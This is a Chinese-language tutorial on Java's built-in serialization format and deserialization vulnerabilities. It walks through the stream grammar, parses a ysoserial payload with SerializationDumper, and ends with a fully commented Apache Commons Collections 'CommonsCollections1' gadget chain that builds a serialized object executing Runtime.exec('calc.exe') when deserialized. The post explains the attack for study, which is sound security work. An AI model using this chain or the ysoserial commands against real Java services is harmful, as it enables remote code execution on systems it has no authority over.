很多语言都内建了序列化操作来提供对象的传输与持久存储,Java也不例外,而Java的反序列化可以说是Java中最常见的安全漏洞之一(其实是最近写插件经常遇到),于是记录一下。。
关于序列化,首先说下整体情况:
Java有 多种序列化方式,如 :
ObjectInputStream.readObject // 内建的流转化为Object ObjectInputStream.readUnshared // 内建的流转化为Object,使用非共享方式 XMLDecoder.readObject // 读取xml转化为Object Yaml.load // yaml字符串转Object XStream.fromXML // XStream用于Java Object与xml相互转化 ObjectMapper.readValue // jackson中的api JSON.parseObject // fastjson中的api
本篇只对它内建的序列化机制说明,对于Java内建的序列化,它的实现为:
java.io.Serializable
接口的方式来声明该类的属性会被序列化,该接口未定义任何功能,即用户只需要implement该接口即可,它会做的事是:该类的所有对象属性都会被序列化存储,该类的子类将会继承序列化特性,可以使用 transient
修饰对象属性以表明不对该属性进行序列化。另外用户可以实现 writeObject
和 readObject
方法来自定义序列化与反序列化的过程。 java.io.Externalizable
接口来声明该类的属性会被序列化,与 Serializable
不同,它默认不会序列化任何对象,需要用户自己实现 writeExternal
和 readExternal
方法以实现对指定对象进行序列化或反序列化。 java.io.ObjectOutputStream
的 writeObject
(或者 writeUnshared
,区别后面说)方法对对象进行序列化,使用 java.io.ObjectInputStream
的 readObject
方法进行反序列化。 下面的例子用于演示一个序列化与反序列化的全过程:
import java.io.*;
class Person implements Serializable { //实现Serializable接口
public String lastName; //对象属性
static public String firstName; //类属性
transient int age; //短暂(不会被序列化)的对象属性
Person() {
age = 18;
firstName = "mao";
lastName = "beta";
}
}
public class SeriaTest {
public static void main(String[] args) throws Exception {
// 创建可序列化对象
Person mmz = new Person();
mmz.lastName = "B3ta";
mmz.firstName = "Ma0";
mmz.age = 20;
System.out.println(String.format("before:/tln:%s/tfn:%s/tage:%d", mmz.lastName, mmz.firstName, mmz.age));
//序列化操作
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(mmz);
//改变原数据值
mmz.lastName = "biubiu~";
mmz.firstName = "miao~";
mmz.age = 19;
//反序列化
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
Person nmmz = (Person) ois.readObject();
System.out.println(String.format("after:/tln:%s/tfn:%s/tage:%d", nmmz.lastName, nmmz.firstName, nmmz.age));
}
}
它的输出为:
before: ln:B3ta fn:Ma0 age:20 after: ln:B3ta fn:miao~ age:0
在看别人插件时经常看到payload为16进制编码形式,通常以 ACED0005
开头,或者base64以 rO0AB
开头,这说明Java序列化不想php那么随性,根据 官方文档
,可以把流的层级关系表现如下:
stream:
magic version contents //magic: ac ed version: 00 05 它们组合为序列化流头部 后接序列化内容
contents: //下面是递归定义
content
contents content
content: //一个content可以是一个object或者blockdata,后者被用于。。。
object:
newObject:
TC_OBJECT classDesc newHandle classdata[] // data for each class
classDesc:
newClassDesc
nullReference
(ClassDesc)prevObject // an object required to be of type
// ClassDesc
newHandle: // 在非共享模式下,被序列化的对象引用的对象在被多次引用时只有第一次会被真正序列化(即此处)并为其生成一个序号(即newHandle),该序号从开始
// 递增,之后再遇到引用了已经被序列化的类时秩序要引用对应的handle即可(见下面的prevObject)
classdata:
nowrclass: values // SC_SERIALIZABLE & classDescFlag && !(SC_WRITE_METHOD & classDescFlags) 按类描述符顺序排列的字段
wrclass objectAnnotation // SC_SERIALIZABLE & classDescFlag && SC_WRITE_METHOD & classDescFlags
wrclass: nowrclass
externalContents: // SC_EXTERNALIZABLE & classDescFlag && !(SC_BLOCKDATA & classDescFlags readExternal使用
externalContent:
( bytes) // primitive data
object
externalContents externalContent
objectAnnotation: // SC_EXTERNALIZABLE & classDescFlag&& SC_BLOCKDATA & classDescFlags
endBlockData
contents endBlockData // contents written by writeObject
// or writeExternal PROTOCOL_VERSION_2.
newClass:
TC_CLASS classDesc newHandle
newArray:
TC_ARRAY classDesc newHandle (int)<size> values[size]
newString:
TC_STRING newHandle (utf)
TC_LONGSTRING newHandle (long-utf)
newEnum:
TC_ENUM classDesc newHandle enumConstantName
enumConstantName: (String)object
newClassDesc:
TC_CLASSDESC className serialVersionUID newHandle classDescInfo //普通类描述
className: (utf)
serialVersionUID: (long)
classDescInfo: classDescFlags fields classAnnotation superClassDesc
classDescFlags: (byte) // Defined in Terminal Symbols and Constants
fields: (short)<count> fieldDesc[count]
fieldDesc:
primitiveDesc: prim_typecode fieldName
objectDesc: obj_typecode fieldName className1
fieldName: (utf)
classAnnotation:
endBlockData:
TC_ENDBLOCKDATA
contents endBlockData // contents written by annotateClass
superClassDesc: classDesc
TC_PROXYCLASSDESC newHandle proxyClassDescInfo // 代理类描述由标志 接口数 接口名 类注解组成
proxyClassDescInfo:
(int)<count> proxyInterfaceName[count] classAnnotation
proxyInterfaceName: (utf)
superClassDesc
prevObject
TC_REFERENCE (int)handle
nullReference
TC_NULL
exception:
TC_EXCEPTION reset (Throwable)object reset
TC_RESET
blockdata:
blockdatashort:
TC_BLOCKDATA (unsigned byte)<size> (byte)[size]
blockdatalong:
TC_BLOCKDATALONG (int)<size> (byte)[size]
如上,一个流由魔数,版本,内容组成,内容是递归定义的,总的来说一个对象由对象标志 TC_OBJECT
,类描述结构和对象属性组成,其中类描述结构 ClassDesc
最复杂,它会对普通类和动态代理类分开处理,一个对象的可序列化属性可能是其他对象,这些对象也会被序列化,在默认情况下只有第一次会被序列化,并为其生成一个handle,之后再遇到对该对象的引用只需引用该handle即可,在写插件的时候遇到的16进制的payload可以根据上面的格式进行分析,不过有专门的 工具SerializationDumper
已经实现了该功能:
# java -jar ysoserial.jar CommonsCollections1 "ipconfig" > cc1 # 生成payload
# java -jar SerializationDumper-v1.1.jar -r cc1 # 解析payload
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 50 - 0x00 32
Value - sun.reflect.annotation.AnnotationInvocationHandler - 0x73756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572
serialVersionUID - 0x55 ca f5 0f 15 cb 7e a5
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 2 - 0x00 02
Fields
0:
Object - L - 0x4c
fieldName
Length - 12 - 0x00 0c
Value - memberValues - 0x6d656d62657256616c756573
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 01
Length - 15 - 0x00 0f
Value - Ljava/util/Map; - 0x4c6a6176612f7574696c2f4d61703b
1:
Object - L - 0x4c
fieldName
Length - 4 - 0x00 04
Value - type - 0x74797065
.....
此处,我们对照着 sun.reflect.annotation.AnnotationInvocationHandler
查看它的结构,可以看到它内部拥有各属性,继续向下看各属性又为其他对象,这样逆向就能看出该payload的原理,可以更方便的跟踪数据流,进行调试排错等。
对象序列化会使用 ObjectStreamClass
实例,该实例将会存储被序列化对象的各种信息,包括被序列化的域(对象属性),序列化UID,是使用 Serializable
还是 Externalizable
进行的序列化,序列化的类有没有实现一些特殊的方法等等,比如在 java.io.ObjectInputStream.readObject()
中有如下代码:
} else if (slotDesc.hasReadObjectMethod()) { // 如果被序列化的有readObject方法
ThreadDeath t = null;
boolean reset = false;
SerialCallbackContext oldContext = curContext;
if (oldContext != null)
oldContext.check();
try {
curContext = new SerialCallbackContext(obj, slotDesc);
bin.setBlockDataMode(true);
slotDesc.invokeReadObject(obj, this); // 则调用readObject方法
....
它的 hasReadObjectMethod
就是依靠 ObjectStreamClass
在实例化时,使用如下语句实现的:
readObjectMethod = getPrivateMethod(cl, "readObject",
new Class<?>[] { ObjectInputStream.class },
Void.TYPE);//赋值readObjectMethod
当反序列化的输入是可控的时,将可能导致反序列化漏洞:
此处之说第三点,它需要满足的条件是:
private void readObject(java.io.ObjectInputStream in) readObject
上面已经说到,要由任意对象反序列化上升到远程代码执行上,需要目标系统的环境满足一些条件,这里以最广为人知的 CommonsCollections1
作为例子,它用到了 commons-collections 3.1
这个库,该库是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,它被广泛应用于各种Java应用的开发。( 库通常是和应用绑定的,无法直接从升级系统来获取更新补丁,所以很多Java应用都可能引入它。
)
public static void main(String[] args) throws Exception {
// 如下,它会构造一个数组,该数组利用反射实现了如下功能
// Runtime.getRuntime().exec("calc.exe")
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};
// 将构造的对象传入ChainedTransformer构成新的对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 构造一个普通map并用decorate装饰为一个TransformedMap,它传入了上面构造的转换对象
// 新的outerMap对象在值被读取(读取被设置为了null)或修改时将会调用transformedChain对象里描述的方法
// 即这里利用反射在对象里加入了特定时候被调用的代码,算是在数据中嵌入了代码(这靠目标上的TransformedMap实现)
Map innerMap = new hashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// 上面嵌入的代码需要使用setValue触发,但在实际环境中通常反序列化完成后就会进行类型转换
// 很显然自定义的类型无法转换为指定类型,代码无法向下继续执行,更无法触发setValue方法
// 因此,要用到另一个特性,readObject,在实现了该签名,可序列化,可在readObject里自动对其可序列
// 化的一个map读或写值,则可触发代码,如下的AnnotationInvocationHandler类刚好满足要求
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 此时instance对象在被反序列化时,会调用readObject方法,该方法内会对map做setValue操作
// setValue时会使用map的transform方法,它会根据ChainedTransformer一次调用条Transformer
// 即执行任意代码
Object instance = ctor.newInstance(Target.class, outerMap);
File f = new File("payload.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
如注释所述,这条利用链主要分为两步,第一步构造任意代码执行的对象,第二不构造能触发第一步构造对象里的代码的对象,将它们封装在一起作为一个序列化对象输出,在目标对其反序列化时将会造成任意代码执行,事实上该例所示特性已经被当作漏洞被修复,但是 Apache Commons Collections
仍然存在其他数十种已知的利用链,而且其他库也可能存在利用链,从 ysoserial
中可以看到一些其他组件的利用链。